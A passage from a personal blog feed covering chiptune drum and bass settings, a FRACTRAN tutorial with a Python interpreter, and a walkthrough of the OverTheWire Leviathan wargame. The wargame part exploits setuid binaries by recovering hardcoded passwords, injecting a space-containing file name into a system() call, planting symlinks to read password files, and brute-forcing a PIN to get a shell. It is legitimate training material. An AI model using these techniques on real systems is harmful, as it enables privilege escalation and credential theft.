each: triangle, pulse, noise, and saw. From each of those four wave
forms each of the three oscillators can play one or multiple at each time. So
there are basically three channels. There are no fancy effects like
chorus or echo.</p>
<p>The NES is even more shitty, since it has only four oscillators each
of whom can only do one waveform. The
first two can do pulses, the second is for triangles and the third for
noise. There is an additional fifth channel which can play lo-fi
samples, but I never managed to work with that successfully.
Yeah, there is no saw.</p>
<h3 id="drums">Drums</h3>
<p>On NES, there are two styles of drums. One is made by taking the
noise and filtering it with a band pass. The mid frequency of the
bandpass then decreases. If this is done at the “correct” frequencies
it sounds like a snare or a kick drum or a hi hat. This can be heard
in a lot of asian games.</p>
<p>The western way works the same, but with a triangle which quickly
decreases in frequency, instead of the noise. Sometimes the noise is
added, if you can afford to block two channels. This gives the drums a
clearer defined pitch.</p>
<p>For the SID, I did not understand how to make drums, since there are
no fast frequency envelopes. So I will reference other people who were
able to make drums. I give you the hex values for the registers in
brackets, so you can play along in your tracker software.</p>
<p>The snare drum from the <a href="https://cadaver.github.io/tools.html">goattracker manual</a> works as follows:
The first frame is square and triangle and gate (in hex 40+10+01=51)
at the fixed pitch 90.
The second frame is just saw and gate (20+1=21) at the fixed pitch A0.
Then it ends in noise without gate (80) at the pitch DF.
Yeah, noise in SID can have a pitch.
Do not forget to stop the execution of the wave table by the FF command.
The ADSR is set to 32F9.</p>
<p>The e-book <a href="http://csdb.dk/release/?id=112754">Creating Chip Tunes with Sid Wizard)</a> also contains a nice snare:</p>
<ul>
<li>noise + gate (81), fixed pitch CE</li>
<li>pulse (41), pitch AD</li>
<li>pulse (41), pitch AC</li>
<li>noise + no gate (80), pitch C4</li>
<li>noise + no gate (80), pitch C5</li>
<li>in pulse table 88</li>
<li>in ADSR: 0DE9</li>
</ul>
<h3 id="bass">Bass</h3>
<p>For the SID Bass, let me again reference “Creating Chip Tunes with Sid Wizard”:</p>
<ul>
<li>pulse + gate (41)</li>
<li>in pulse table 82 (+ octave transpose -3)</li>
<li>in pulse table 40 20 (increase pulse width by 20, 40 times)</li>
<li>ADSR: 089A</li>
<li>add some vibrato</li>
<li>low-pass in filter table 9B 45 (9 selects the low pass, 4 is the resonance, 45 is the cutoff frequency.</li>
<li>in the nect row of the filter table: 40 05 (add 05 to the cutoff frequency 40 times)</li>
</ul>
<p>Actually SID basses are easy. Simply play around with one of the
basic waveforms. Do not touch noise.</p>
<p>For the NES Bass take the square. Or take two squares and detune them
a little bit, if you can afford to occupy two channels. You can also
take the triangle.
Since the NES does not have a saw, I think those are all the options.</p>
<h3 id="flute">Flute</h3>
<p>I have reverse engineered this one from SID sounds and then recreated on
NES. A flute is a high pitched triangle wave with vibrato.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I hope this helped someone out there. For recreating sounds on SID or
NES it is possible to look at the wave forms, e.g., in audacity, and
then use educated guessing to get something similar. In the commodore
stuff I heard that it is also possible to run an emulator and then
prick the values of the sound chip from the register, but I have never
done this.</p>
<p>For recreating more complex sounds it sometimes helps to start with a
waveform which seems appropriate and then modify the sound until you
are happy with it. This is harder than in the chiptune world and when
it comes to frequency modulated sound I am still completely lost.</p>
Writeup Overthewire Leviathan Wargame
2018-05-26T00:00:00+00:00
https://hkopp.github.io/2018/05/writeup-overthewire-leviathan-wargame
<h3 id="note">NOTE</h3>
<p>I am seeking a full-time position in (southern) Germany or
Switzerland starting from October related to my skills as demonstrated
on this blog. If you know of any opportunities please message me on
<a href="https://www.linkedin.com/in/henning-kopp-482393156/">LinkedIn</a> or via
mail under hkopp22 (at) yahoo (dot) de.</p>
<hr />
<h2 id="intro">Intro</h2>
<p>Leviathan is a hacking wargame by the geniuses of <a href="http://overthewire.org">overthewire</a>.
Its main focus is on reversing.
This is a writeup of their challenges.
I edited out the passwords, so whenever you encounter stars (*), this was
a password. If you have not done these exercises yet, I urge you to do
them by yourself to maximize the learning factor and only read the
writeups where you are completely stuck.
Have fun reading.</p>
<h2 id="level-0">Level 0</h2>
<p>First, we need to ssh to leviathan0@leviathan.labs.overthewire.org.
The first password is simply leviathan0, as mentioned on the website.
After connecting to the server, we find… well, basically nothing,
but a file <code class="language-plaintext highlighter-rouge">.backup/bookmarks.html</code>. <br />
How about we grep there?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grep -i levia .backup/bookmarks.html
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is ******" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
</code></pre></div></div>
<p>Bam! Done.</p>
<h2 id="level-1">Level 1</h2>
<p>In Level 1, there is an executable called check with the suid bit set. Let us
disassemble it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan1@melinda:~$ r2 -A check
[0x08048430]> pdf @sym.main
/ (fcn) sym.main 189
| ; DATA XREF from 0x08048447 (sym.main)
| ;-- main:
| 0x0804852d 55 push ebp
| 0x0804852e 89e5 mov ebp, esp
| 0x08048530 83e4f0 and esp, 0xfffffff0
| 0x08048533 83ec30 sub esp, 0x30
| 0x08048536 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=1
| 0x0804853c 8944242c mov dword [esp + 0x2c], eax
| 0x08048540 31c0 xor eax, eax
| 0x08048542 c74424187365. mov dword [esp + 0x18], 0x786573 ; [0x786573:4]=-1
| 0x0804854a c74424257365. mov dword [esp + 0x25], 0x72636573 ; [0x72636573:4]=-1
| 0x08048552 66c744242965. mov word [esp + 0x29], 0x7465 ; [0x7465:2]=0xffff
| 0x08048559 c644242b00 mov byte [esp + 0x2b], 0
| 0x0804855e c744241c676f. mov dword [esp + 0x1c], 0x646f67 ; [0x646f67:4]=-1
| 0x08048566 c74424206c6f. mov dword [esp + 0x20], 0x65766f6c ; [0x65766f6c:4]=-1
| 0x0804856e c644242400 mov byte [esp + 0x24], 0
| 0x08048573 c70424808604. mov dword [esp], str.password: ; [0x8048680:4]=0x73736170 LEA str.password: ; "password: " @ 0x8048680
| 0x0804857a e841feffff call sym.imp.printf
| 0x0804857f e84cfeffff call sym.imp.getchar
| 0x08048584 88442414 mov byte [esp + 0x14], al
| 0x08048588 e843feffff call sym.imp.getchar
| 0x0804858d 88442415 mov byte [esp + 0x15], al
| 0x08048591 e83afeffff call sym.imp.getchar
| 0x08048596 88442416 mov byte [esp + 0x16], al
| 0x0804859a c644241700 mov byte [esp + 0x17], 0
| 0x0804859f 8d442418 lea eax, [esp + 0x18] ; 0x18
| 0x080485a3 89442404 mov dword [esp + 4], eax
| 0x080485a7 8d442414 lea eax, [esp + 0x14] ; 0x14
| 0x080485ab 890424 mov dword [esp], eax
| 0x080485ae e8fdfdffff call sym.imp.strcmp
| 0x080485b3 85c0 test eax, eax
| ,=< 0x080485b5 750e jne 0x80485c5
| | 0x080485b7 c704248b8604. mov dword [esp], str._bin_sh ; [0x804868b:4]=0x6e69622f LEA str._bin_sh ; "/bin/sh" @ 0x804868b
| | 0x080485be e83dfeffff call sym.imp.system
| ,==< 0x080485c3 eb0c jmp 0x80485d1
| || ; JMP XREF from 0x080485b5 (sym.main)
| |`-> 0x080485c5 c70424938604. mov dword [esp], str.Wrong_password__Good_Bye_... ; [0x8048693:4]=0x6e6f7257 LEA str.Wrong_password__Good_Bye_... ; "Wrong password, Good Bye ..." @ 0x8048693
| | 0x080485cc e81ffeffff call sym.imp.puts
| | ; JMP XREF from 0x080485c3 (sym.main)
| `--> 0x080485d1 b800000000 mov eax, 0
| 0x080485d6 8b54242c mov edx, dword [esp + 0x2c] ; [0x2c:4]=0x280009 ; ','
| 0x080485da 653315140000. xor edx, dword gs:[0x14]
| 0x080485e1 7405 je 0x80485e8
| 0x080485e3 e8f8fdffff call sym.imp.__stack_chk_fail
| ; JMP XREF from 0x080485e1 (sym.main)
| 0x080485e8 c9 leave
\ 0x080485e9 c3 ret
</code></pre></div></div>
<p>We see that the program asks for a password. Then it reads three
characters into al (sym.imp.getchar) and writes them to the stack. The three characters are compared to
something on the stack (sym.imp.strcmp) and depending on equality we
jump to a wrong password section or we get a shell (bin/sh).
We want to have the shell. So we need to see, what is compared.
A little bit above, there are some things written to the stack at the mov dword stuff.
In the following dump I have added comments by changing the hex into ascii-characters.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x08048542 c74424187365. mov dword [esp + 0x18], 0x786573 ; sex
0x0804854a c74424257365. mov dword [esp + 0x25], 0x72636573 ; secr
0x08048552 66c744242965. mov word [esp + 0x29], 0x7465 ; et
0x08048559 c644242b00 mov byte [esp + 0x2b], 0
0x0804855e c744241c676f. mov dword [esp + 0x1c], 0x646f67 ; god
0x08048566 c74424206c6f. mov dword [esp + 0x20], 0x65766f6c ; love
0x0804856e c644242400 mov byte [esp + 0x24], 0
</code></pre></div></div>
<p>We have sex, secret, god, and love. Sex is written on the top of the stack, so it should be the correct password.
And indeed. We have to type it in, get the suid-bash and read out the password for the next level.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan1@melinda:~$ ./check
password: sex
$ cat /etc/leviathan_pass/leviathan2
******
</code></pre></div></div>
<h2 id="level-2">Level 2</h2>
<p>Level 2 is interesting. We have a file, called printfile, which takes
a file as argument and prints its input if the file has the correct
permissions.</p>
<p>To check the permissions, it calls access on the whole filename.
Printing is done with <code class="language-plaintext highlighter-rouge">/bin/cat %s</code>.
I make an example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan2@melinda:/tmp/hkoppwashere$ echo "aa" > a
leviathan2@melinda:/tmp/hkoppwashere$ ~/printfile a
aa
</code></pre></div></div>
<p>With ltrace, we can see the library calls. ltrace is to libraries,
what strace is to syscalls:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan2@melinda:/tmp/hkoppwashere$ ltrace ~/printfile /tmp/hkoppwashere/a
__libc_start_main(0x804852d, 2, 0xffffd734, 0x8048600 <unfinished ...>
access("/tmp/hkoppwashere/a", 4) = 0
snprintf("/bin/cat /tmp/hkoppwashere/a", 511, "/bin/cat %s", "/tmp/hkoppwashere/a") = 28
system("/bin/cat /tmp/hkoppwashere/a"aa
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
</code></pre></div></div>
<p>This one took me some time to get. The main idea is looking at what happens if
we give it a filename with spaces in it. If we have a file called <code class="language-plaintext highlighter-rouge">a b</code>, then
it checks if we have the correct access rights to the file <code class="language-plaintext highlighter-rouge">a b</code>, and then
executes <code class="language-plaintext highlighter-rouge">cat a b</code>, which of course is something completely different.
To exploit this behavior, we create a symbolic link to
<code class="language-plaintext highlighter-rouge">/etc/leviathan_pass/leviathan3</code>, called <code class="language-plaintext highlighter-rouge">a</code> and a file called <code class="language-plaintext highlighter-rouge">a b</code>, where we
have the correct permissions. Finally we execute printfile on <code class="language-plaintext highlighter-rouge">a b</code>.
The permission of <code class="language-plaintext highlighter-rouge">a b</code> will be checked, resulting in the execution of <code class="language-plaintext highlighter-rouge">cat a b</code>. The first one gives us the content of <code class="language-plaintext highlighter-rouge">/etc/leviathan_pass/leviathan3</code>, since it is a symbolic link. And <code class="language-plaintext highlighter-rouge">b</code> gives us an error, since it does not exist.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan2@melinda:/tmp/hkoppwashere$ ln -s /etc/leviathan_pass/leviathan3 a
leviathan2@melinda:/tmp/hkoppwashere$ touch a\ b
leviathan2@melinda:/tmp/hkoppwashere$ ~/printfile a\ b
******
/bin/cat: b: No such file or directory
</code></pre></div></div>
<p>On to the next level.</p>
<h2 id="level-3">Level 3</h2>
<p>We have a sweet little file called level3. We load it into radare2 and take a look.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan3@melinda:~$ r2 -A level3
[0x08048450]> pdf @sym.main
/ (fcn) sym.main 201
| ; DATA XREF from 0x08048467 (sym.main)
| ;-- main:
| 0x080485fe 55 push ebp ; level3.c:24
| 0x080485ff 89e5 mov ebp, esp
| 0x08048601 83e4f0 and esp, 0xfffffff0
| 0x08048604 83ec50 sub esp, 0x50
| 0x08048607 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=1 ; level3.c:24
| 0x0804860d 8944244c mov dword [esp + 0x4c], eax
| 0x08048611 31c0 xor eax, eax
| 0x08048613 c7442423626f. mov dword [esp + 0x23], 0x626d6f62 ; [0x626d6f62:4]=-1 ; level3.c:25
| 0x0804861b 66c744242761. mov word [esp + 0x27], 0x6461 ; [0x6461:2]=0xffff
| 0x08048622 c644242900 mov byte [esp + 0x29], 0
| 0x08048627 c74424382e2e. mov dword [esp + 0x38], 0x732e2e2e ; [0x732e2e2e:4]=-1 ; level3.c:26
| 0x0804862f c744243c3363. mov dword [esp + 0x3c], 0x33726333 ; [0x33726333:4]=-1
| 0x08048637 66c744244074. mov word [esp + 0x40], 0x74 ; [0x74:2]=1 ; 't'
| 0x0804863e c744242a6830. mov dword [esp + 0x2a], 0x6f6e3068 ; [0x6f6e3068:4]=-1 ; level3.c:28
| 0x08048646 66c744242e33. mov word [esp + 0x2e], 0x3333 ; [0x3333:2]=0xffff
| 0x0804864d c644243000 mov byte [esp + 0x30], 0
| 0x08048652 c74424316b61. mov dword [esp + 0x31], 0x616b616b ; [0x616b616b:4]=-1 ; level3.c:29
| 0x0804865a 66c74424356b. mov word [esp + 0x35], 0x616b ; [0x616b:2]=0xffff
| 0x08048661 c644243700 mov byte [esp + 0x37], 0
| 0x08048666 c74424422a33. mov dword [esp + 0x42], 0x2e32332a ; [0x2e32332a:4]=-1 ; level3.c:30
| 0x0804866e c7442446322a. mov dword [esp + 0x46], 0x785b2a32 ; [0x785b2a32:4]=-1
| 0x08048676 66c744244a5d. mov word [esp + 0x4a], 0x5d ; [0x5d:2]=0x481 ; ']'
| 0x0804867d 8d442431 lea eax, [esp + 0x31] ; 0x31 ; '1' ; level3.c:33
| 0x08048681 89442404 mov dword [esp + 4], eax
| 0x08048685 8d44242a lea eax, [esp + 0x2a] ; 0x2a ; '*'
| 0x08048689 890424 mov dword [esp], eax
| 0x0804868c e83ffdffff call sym.imp.strcmp
| 0x08048691 85c0 test eax, eax
| ,=< 0x08048693 7508 jne 0x804869d
| | 0x08048695 c744241c0100. mov dword [esp + 0x1c], 1 ; level3.c:34
| | ; JMP XREF from 0x08048693 (sym.main)
| `-> 0x0804869d c704248f8704. mov dword [esp], str.Enter_the_password_ ; [0x804878f:4]=0x65746e45 LEA str.Enter_the_password_ ; "Enter the password> " @ 0x804878f ; level3.c:36
| 0x080486a4 e837fdffff call sym.imp.printf
| 0x080486a9 e89ffeffff call sym.do_stuff ; level3.c:38
| 0x080486ae b800000000 mov eax, 0 ; level3.c:40
| 0x080486b3 8b54244c mov edx, dword [esp + 0x4c] ; [0x4c:4]=5 ; 'L' ; level3.c:41
| 0x080486b7 653315140000. xor edx, dword gs:[0x14]
| 0x080486be 7405 je 0x80486c5
| 0x080486c0 e83bfdffff call sym.imp.__stack_chk_fail
| ; JMP XREF from 0x080486be (sym.main)
| 0x080486c5 c9 leave
\ 0x080486c6 c3 ret
</code></pre></div></div>
<p>There is a bunch of stuff which gets moved around and compared at 0x08048691. This is just to confuse us, since it is not processing any input from us.
Then it asks for a password and calls <code class="language-plaintext highlighter-rouge">sym.do_stuff</code>. This seems important, so let us check that.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x08048450]> pdf @sym.do_stuff
/ (fcn) sym.do_stuff 177
| ; arg int arg_665_2 @ ebp+0xa66
| ; arg int arg_471538588_3 @ ebp+0x706c6e73
| ; arg int arg_488348252_2 @ ebp+0x746e6972
| ; var int local_0_1 @ ebp-0x1
| ; var int local_3 @ ebp-0xc
| ; var int local_67 @ ebp-0x10c
| ; var int local_69_3 @ ebp-0x117
| ; CALL XREF from 0x080486a9 (sym.do_stuff)
| 0x0804854d 55 push ebp ; level3.c:7
| 0x0804854e 89e5 mov ebp, esp
| 0x08048550 81ec28010000 sub esp, 0x128
| 0x08048556 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=1 ; level3.c:7
| 0x0804855c 8945f4 mov dword [ebp-local_3], eax
| 0x0804855f 31c0 xor eax, eax
| 0x08048561 c785e9feffff. mov dword [ebp-local_69_3], 0x706c6e73 ; [0x706c6e73:4]=-1 ; level3.c:9
| 0x0804856b c785edfeffff. mov dword [ebp - 0x113], 0x746e6972 ; [0x746e6972:4]=-1
| 0x08048575 66c785f1feff. mov word [ebp - 0x10f], 0xa66 ; [0xa66:2]=0
| 0x0804857e c685f3feffff. mov byte [ebp - 0x10d], 0
| 0x08048585 a13ca00408 mov eax, dword [obj.stdin__GLIBC_2.0] ; [0x804a03c:4]=0x203a4343 LEA section..bss ; "CC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2" @ 0x804a03c ; level3.c:10
| 0x0804858a 89442408 mov dword [esp + 8], eax
| 0x0804858e c74424040001. mov dword [esp + 4], 0x100 ; [0x100:4]=0x80487a4 section..eh_frame_hdr
| 0x08048596 8d85f4feffff lea eax, [ebp-local_67]
| 0x0804859c 890424 mov dword [esp], eax
| 0x0804859f e84cfeffff call sym.imp.fgets
| 0x080485a4 8d85e9feffff lea eax, [ebp-local_69_3] ; level3.c:12
| 0x080485aa 89442404 mov dword [esp + 4], eax
| 0x080485ae 8d85f4feffff lea eax, [ebp-local_67]
| 0x080485b4 890424 mov dword [esp], eax
| 0x080485b7 e814feffff call sym.imp.strcmp
| 0x080485bc 85c0 test eax, eax
| ,=< 0x080485be 751a jne 0x80485da
| | 0x080485c0 c70424608704. mov dword [esp], str._You_ve_got_shell__ ; [0x8048760:4]=0x756f595b LEA str._You_ve_got_shell__ ; "[You've got shell]!" @ 0x8048760 ; level3.c:13
| | 0x080485c7 e844feffff call sym.imp.puts
| | 0x080485cc c70424748704. mov dword [esp], str._bin_sh ; [0x8048774:4]=0x6e69622f LEA str._bin_sh ; "/bin/sh" @ 0x8048774 ; level3.c:14
| | 0x080485d3 e848feffff call sym.imp.system
| ,==< 0x080485d8 eb0c jmp 0x80485e6
| || ; JMP XREF from 0x080485be (sym.do_stuff)
| |`-> 0x080485da c704247c8704. mov dword [esp], str.bzzzzzzzzap._WRONG ; [0x804877c:4]=0x7a7a7a62 LEA str.bzzzzzzzzap._WRONG ; "bzzzzzzzzap. WRONG" @ 0x804877c ; level3.c:16
| | 0x080485e1 e82afeffff call sym.imp.puts
| | ; JMP XREF from 0x080485d8 (sym.do_stuff)
| `--> 0x080485e6 b800000000 mov eax, 0 ; level3.c:19
| 0x080485eb 8b55f4 mov edx, dword [ebp-local_3] ; level3.c:20
| 0x080485ee 653315140000. xor edx, dword gs:[0x14]
| 0x080485f5 7405 je 0x80485fc
| 0x080485f7 e804feffff call sym.imp.__stack_chk_fail
| ; JMP XREF from 0x080485f5 (sym.do_stuff)
| 0x080485fc c9 leave
\ 0x080485fd c3 ret
</code></pre></div></div>
<p>Some stuff is moved around and then compared against our input at 0x080485b7.
Depending on the correctness we either get the shell at 0x080485cc or jump over
it to the badboy at 0x080485da.
We could compute the ASCII from the values on the stack, which is not hard, but
we already did something similar in Level 1. So I am going to show an
alternative approach. Just wrap it in ltrace.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan3@melinda:~$ ltrace ./level3
__libc_start_main(0x80485fe, 1, 0xffffd794, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> hkopp is a genius
"hkopp is a genius\n", 256, 0xf7fcac20) = 0xffffd58c
strcmp("hkopp is a genius\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
</code></pre></div></div>
<p>We can see the first comparison which was there to confuse us. It compares
“h0no33” against “kakaka”. This always fails. Next, we should enter the
password. I entered “hkopp is a genius” which got compared against the string
“snlprintf”. And since it is not equal we go to the loser.
Now it is clear what we need to do. The password for the file is “snlprintf”
which grants us a shell allowing us to read out the password for the next
level.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan3@melinda:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ cat /etc/leviathan_pass/leviathan4
******
</code></pre></div></div>
<p>Done.</p>
<h2 id="level-4">Level 4</h2>
<p>This level is pretty straightforward to solve by educated guessing.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan4@leviathan:~$ ls -la
total 28
drwxr-xr-x 4 leviathan4 leviathan4 4096 Oct 3 09:54 .
drwxr-xr-x 11 root root 4096 Oct 3 09:54 ..
-rw-r--r-- 1 leviathan4 leviathan4 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 leviathan4 leviathan4 3637 Apr 9 2014 .bashrc
drwx------ 2 leviathan4 leviathan4 4096 Oct 3 09:54 .cache
-rw-r--r-- 1 leviathan4 leviathan4 675 Apr 9 2014 .profile
dr-xr-x--- 2 root leviathan4 4096 Oct 2 04:15 .trash
leviathan4@leviathan:~$ cd .trash/
leviathan4@leviathan:~/.trash$ ls
bin
leviathan4@leviathan:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010
</code></pre></div></div>
<p>This is binary. If you throw this into one of the online binary to ASCII converters, you get the password for the next level.</p>
<h2 id="level-5">Level 5</h2>
<p>In this level we have a binary which cats the content of a file called /tmp/file.log and then removes that file, by calling unlink.
So we simply link /tmp/file.log to our passwordfile.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
******
</code></pre></div></div>
<h2 id="level-6">Level 6</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ./leviathan6 1111
Wrong
leviathan6@leviathan:~$ ./leviathan6 2222
Wrong
</code></pre></div></div>
<p>Okay, so we have to guess a password. Since there are not that many
possibilities we can resolve to brute-forcing. The script then drops us to a
shell and we can retrieve the password for the next level.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>leviathan6@leviathan:~$ for i in $(seq 9999); do ./leviathan6 $i; done|grep -v Wrong
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
whoami
leviathan7
cat /etc/leviathan_pass/leviathan7
******
exit
</code></pre></div></div>
<h2 id="level-7">Level 7</h2>
<p>Well, actually this is not really a level. Just some congratulations, that we
made it.</p>
Fractran A Simple Programming Language
2018-03-25T00:00:00+00:00
https://hkopp.github.io/2018/03/fractran-a-simple-programming-language
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>Today, I want to talk about FRACTRAN, a simple (though not easy)
programming language.
FRACTRAN was invented by the great John Conway which is mostly known
for his puzzles and his recreational math.
I first encountered FRACTRAN as a teenager in the book “Ancient puzzles:
Classic brainteasers and other timeless mathematical games of the last
10 centuries” by Dominic Olivastro.
Actually I read the german version “Das chinesische Dreieck”, since I
was a teenager and at that time read most books in my native language.
Olivastro explained a very simple model of computation and dumbfounded
me with the PRIMEGAME example, a program in FRACTRAN which can compute
primes. I did not know how it works and it was a mystery to me.
Nevertheless I found it very captivating and it put me under its
spell. So I revisited it and wrote a blog post with the intention to
document how I lifted the mysteries from FRACTRAN.</p>
<p>If you are interested in the original sources, you may probably want
to check “FRACTRAN: A simple universal programming language for
arithmetic” by John Conway in the journal Open Problems in Communication and
Computation.</p>
<h2 id="how-fractran-works">How FRACTRAN works</h2>
<p>A FRACTRAN program is a finite list of fractions</p>
\[\frac{a_1}{b_1}, ..., \frac{a_i}{b_i}, ..., \frac{a_n}{b_n}\]
<p>Bamm! That is all the syntax you need to know for this article.
Forget specs of thousands of pages like in Java. Just lists of
fractions.</p>
<p>So, how do we evaluate such a program?
You simply give it as input a natural number \(N_0\) and it gives you back an
output computed as follows:
We define \(N_j\) as \(N_{j-1}\frac{a_i}{b_i}\), where \(1\leq i\leq n\) is the
smallest index such that \(N_{j-1}\frac{a_i}{b_i}\) is an integer.
If there is no \(i\), such that \(N_{j-1}\frac{a_i}{b_i}\) is an integer we return \(N_{j-1}\).</p>
<h2 id="examples">Examples</h2>
<h3 id="moving-a-value">Moving a value</h3>
<p>Let us take a look at the following program</p>
\[\frac{3}{2}\]
<p>On input \(2^a\) for some \(a\), it tests if \(2^a\frac{3}{2}\) is an
integer and if yes, replaces the current state \(2^a\) with \(2^a\frac{3}{2}=2^{a-1}3\). It then repeats, until we cannot get integers anymore.
The result is then \(3^a\).</p>
<h3 id="primegame">PRIMEGAME</h3>
<p>This is too early to understand the PRIMEGAME, but i think it is
nice to introduce it here, since it played such an important role for
my fascination with FRACTRAN.</p>
<p>Consider the program</p>
\[\frac{17}{91}
,\frac{78}{85}
,\frac{19}{51}
,\frac{23}{38}
,\frac{29}{33}
,\frac{77}{29}
,\frac{95}{23}
,\frac{77}{19}
,\frac{1}{17}
,\frac{11}{13}
,\frac{13}{11}
,\frac{15}{14}
,\frac{15}{2}
,\frac{55}{1}\]
<p>When given 2 as input it outputs an endless series which contains only
prime powers of 2. I.e. \(2, ..., 2^2, ..., 2^5, ..., 2^7, ..., 2^{11},
...\).
If you are looking for a nice nerdy tattoo and do not want to have the
graph of a sine or the euler product you may want to consider this sequence of fractions.</p>
<h2 id="more-verbose-explanation">More verbose explanation</h2>
<p>FRACTRAN is basically a register machine, where the values of multiple
registers are stored in the valuations (exponents) of the primes.
The value of the first register is the power of 2. The value of the
second register is the power of 3, and so on.
More concretely, the number \(2^a3^b5^c\) corresponds to three registers
with values \((a,b,c)\).
Each fraction, i.e., each instruction \(\frac{a_i}{b_i}\) tests if the
registers corresponding to the prime factors of \(b_i\) are set. If
that is the case, these registers are decremented and the registers
corresponding to the prime factors of \(a_i\) are incremented.</p>
<p>This model of computation is turing-complete, which means that any
computable function can be computed by a FRACTRAN program. If you do
not believe me, check out the
original article of Conway, where a FRACTRAN program which enumerates
all computable functions is given. Another way of recognizing
turing-completeness is if you are familiar with register machines,
especially Minksy machines.</p>
<h2 id="doing-interesting-stuff">Doing interesting stuff</h2>
<p>We have already seen how to move a value from one register to another.
Next, we want to do more interesting stuff.
To this end I have written a FRACTRAN interpreter in Python 3.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">verbose</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">def</span> <span class="nf">eval_fractran</span><span class="p">(</span><span class="n">_prog</span><span class="p">,</span> <span class="n">_input</span><span class="p">):</span>
<span class="s">"""
evaluates the fractran program _program with input _input.
The fractran program is given as a list of
(numerator,denominator)-pairs.
"""</span>
<span class="n">state</span> <span class="o">=</span> <span class="n">_input</span>
<span class="n">statechange</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">while</span> <span class="n">statechange</span><span class="p">:</span>
<span class="n">statechange</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">for</span> <span class="p">(</span><span class="n">num</span><span class="p">,</span> <span class="n">denom</span><span class="p">)</span> <span class="ow">in</span> <span class="n">_prog</span><span class="p">:</span>
<span class="k">if</span> <span class="n">state</span> <span class="o">%</span> <span class="n">denom</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">statechange</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">if</span> <span class="n">verbose</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Applying "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">((</span><span class="n">num</span><span class="p">,</span> <span class="n">denom</span><span class="p">))</span> <span class="o">+</span><span class="s">" to "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">state</span><span class="p">))</span>
<span class="n">state</span> <span class="o">=</span> <span class="n">state</span> <span class="o">//</span> <span class="n">denom</span> <span class="o">*</span> <span class="n">num</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">state</span>
<span class="k">assert</span><span class="p">(</span><span class="n">eval_fractran</span><span class="p">([(</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">)],</span> <span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">eval_fractran</span><span class="p">([(</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">)],</span> <span class="mi">4</span><span class="p">)</span> <span class="o">==</span> <span class="mi">9</span><span class="p">)</span></code></pre></figure>
<h3 id="copying-a-value">Copying a value</h3>
<p>We want to input \(2^a\) and have as output \(2^a3^a\).
Unfortunately this does not work. Since the first input is only
divisible by powers of two, there needs to be a fraction with two in
the denominator (otherwise no instruction is executed). However, this
instruction would also be carried out on the output.</p>
<p>That means we need to set some control registers. As input we take
\(2^ap\) for some prime p and as output we want to have \(2^a3^a\).
The prime \(p\) indicates our state.
Since checking for a state is basically division, the register is
decremented when we check. Thus we need two state bits, which we use
alternately.
Since \(2^a\) is also decremented, we need first to copy the value to
another register.</p>
<p>Let us try it step by step.
